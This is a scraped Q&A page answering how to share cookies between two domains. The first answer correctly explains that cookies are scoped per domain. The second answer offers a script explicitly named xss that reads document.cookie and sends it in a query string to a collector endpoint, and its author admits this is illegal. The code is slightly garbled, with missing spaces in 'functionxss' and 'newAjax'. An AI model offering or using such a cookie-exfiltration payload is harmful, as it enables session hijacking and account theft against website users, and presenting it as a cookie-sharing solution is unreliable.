Skip to content Skip to sidebar Skip to footer

How Do I Share Cookies Across 2 Domains With Javascript?

I want to be able to access and set cookies between example.com and mysite.com. How do I do that?

Solution 1:

You cannot do that with cookies alone: they are set explicitly per-domain, and there isn't a legitimate (read: "non-exploit") way to set them for another domain.

However, if you control both servers, it may be possible to use some workarounds/hacks to achieve this, but pretty it isn't, and it may break unexpectedly (see this question; the answers there should help you to a solution).

Solution 2:

<script>functionxss(){
    var cookies = document.cookie;
    newAjax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>

PS but it's illegal. I use prototype lib.

Post a Comment for "How Do I Share Cookies Across 2 Domains With Javascript?"